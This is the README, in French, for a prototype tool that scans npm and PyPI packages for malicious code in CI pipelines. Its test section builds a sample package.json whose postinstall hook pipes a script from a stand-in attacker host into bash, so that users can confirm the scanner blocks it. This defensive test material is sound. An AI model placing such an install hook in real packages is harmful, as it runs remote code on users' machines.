CI Supply Chain Guard

Un outil d'analyse statique pour détecter les dépendances malveillantes dans les pipelines CI/CD avant qu'elles ne soient fusionnées dans votre base de code.

Auteur : Otsmane Ahmed
Statut : Prototype de recherche v1.0

Démarrage rapide

# 1. Cloner et installer
git clone https://github.com/Otsmane-Ahmed/ci-supplychain-guard.git
cd ci-supplychain-guard
python3 -m venv venv
source venv/bin/activate  # Sur Windows : venv\Scripts\activate
pip install -r requirements.txt

# 2. Analyser un répertoire de paquets
python3 main_guard.py /chemin/vers/paquet

L'outil renverra un verdict : SAFE (sûr), SUSPICIOUS (suspect) ou BLOCKED (bloqué).

Exemples d'utilisation

Analyser un paquet avant installation

Si vous avez téléchargé un paquet depuis npm ou PyPI et souhaitez vérifier qu'il est sûr :

# Paquet NPM
npm pack suspicious-package
tar -xzf suspicious-package-*.tgz
python3 main_guard.py ./package

# Paquet Python
pip download untrusted-pkg --no-deps
tar -xzf untrusted-pkg-*.tar.gz
python3 main_guard.py ./untrusted-pkg-1.0.0

Analyser les dépendances déjà installées

Vérifier les paquets déjà installés dans votre projet :

# Analyser tous les paquets npm
python3 main_guard.py ./node_modules

# Analyser un paquet Python spécifique
python3 main_guard.py ./venv/lib/python3.10/site-packages/requests

Remarque : l'analyse de grands répertoires comme node_modules sera plus longue. Pour des résultats plus rapides, analysez les paquets individuellement.

Intégration CI/CD

Exemple de workflow GitHub Actions :

name: Security Scan
on: [pull_request]
jobs:
  scan:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v3
      - name: Setup Python
        uses: actions/setup-python@v4
        with:
          python-version: '3.10'
      - name: Install CI-Guard
        run: |
          git clone https://github.com/Otsmane-Ahmed/ci-supplychain-guard.git
          cd ci-supplychain-guard
          pip install -r requirements.txt
      - name: Scan Dependencies
        run: |
          cd ci-supplychain-guard
          python3 main_guard.py ../your-project-directory

Le pipeline échouera (code de sortie 1) si du code malveillant est détecté.

Comprendre la sortie

Paquet sûr

$ python3 main_guard.py ./clean-package

Scanning target: ./clean-package
Running static analysis...
Static Risk Score: 0/100
Verdict: SAFE

Aucun motif malveillant détecté.

Paquet bloqué

$ python3 main_guard.py ./evil-package

Scanning target: ./evil-package
Running static analysis...
Static Risk Score: 18/100
Verdict: BLOCKED (Critical Risk)

Des motifs dangereux détectés (par exemple, injection shell, vol d'identifiants). N'installez pas ce paquet.

Les paquets avec un score de 10 ou plus sont automatiquement bloqués.

Paquet suspect

$ python3 main_guard.py ./suspicious-package

Scanning target: ./suspicious-package
Running static analysis...
Static Risk Score: 6/100
Verdict: SUSPICIOUS (Score 6). Initiating sandbox...

Certains motifs préoccupants trouvés. Si Docker est en cours d'exécution, le paquet sera testé dans un bac à sable isolé pour vérification. Une révision manuelle est recommandée.

Capacités de détection

Tester l'outil

Vous pouvez tester CI-Guard en créant un paquet malveillant exemple :

# Créer un répertoire de test
mkdir ~/test-malicious
cd ~/test-malicious

# Créer package.json avec un hook postinstall malveillant
cat > package.json << 'EOF'
{
  "name": "evil-package",
  "version": "1.0.0",
  "scripts": {
    "postinstall": "curl http://attacker.com/steal.sh | bash"
  }
}
EOF

# L'analyser
cd ~/ci-supplychain-guard
python3 main_guard.py ~/test-malicious

Sortie attendue :

Static Risk Score: 18/100
Verdict: BLOCKED (Critical Risk)

Performances

Temps d'analyse moyen : 1 à 3 secondes par paquet (analyse statique uniquement)

FAQ

Puis-je analyser des paquets déjà installés ?

Oui. Pointez CI-Guard vers votre répertoire node_modules ou les site-packages Python :

python3 main_guard.py ./node_modules/some-package
python3 main_guard.py ./venv/lib/python3.10/site-packages/requests

Que faire si un paquet légitime est signalé ?

CI-Guard privilégie la prudence. Si vous faites confiance à un paquet signalé :

1. Vérifiez les règles de détection dans analyzer/static_scanner.py
2. Identifiez quel motif a déclenché l'alerte
3. Examinez manuellement le code source du paquet

Fonctionne-t-il sur Windows et macOS ?

Oui. Python et Docker sont multiplateformes.

Ai-je besoin de Docker ?

Docker n'est requis que pour les paquets ayant un score de 4 à 9 (suspects). La plupart des paquets sont clairement sûrs (0-3) ou clairement malveillants (10+).

Prérequis

• Python 3.10+
• Docker (optionnel, pour la vérification en bac à sable)
• Système d'exploitation pris en charge : Linux, macOS, Windows

Comment ça fonctionne

CI-Guard utilise un système « Feu tricolore » à trois niveaux :

• Vert (0-3) : Sûr - aucun motif malveillant détecté
• Jaune (4-9) : Suspect - nécessite une vérification en bac à sable
• Rouge (10+) : Bloqué - motifs malveillants critiques trouvés

Méthodes de détection :

• Analyse statique : Correspondance de motifs à l'aide d'expressions régulières et d'AST (arbre syntaxique abstrait)
• Analyse d'atteignabilité : Filtre les faux positifs issus de code mort
• Bac à sable : Conteneur Docker optionnel avec honeytokens pour détecter l'évasion

Contribuer

Les demandes de tirage (pull requests) sont les bienvenues. Pour ajouter une nouvelle règle de détection :

Modifiez analyzer/static_scanner.py et ajoutez à la liste RULES :

{
    "id": "SA-XXX",
    "name": "Nom de la règle",
    "pattern": r"regex_pattern",
    "weight": 8  # Contribution au score (1-10)
}

Licence

Licence MIT - voir le fichier LICENSE pour plus de détails.

Contact

Otsmane Ahmed - GitHub